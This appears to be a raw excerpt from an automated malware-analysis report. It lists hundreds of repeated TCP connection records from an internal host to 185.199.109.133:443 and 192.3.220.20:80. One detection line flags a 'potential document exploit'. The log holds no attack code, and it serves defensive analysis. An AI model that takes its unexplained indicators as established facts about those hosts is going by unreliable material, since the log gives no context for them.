Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 185.199.109.133:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
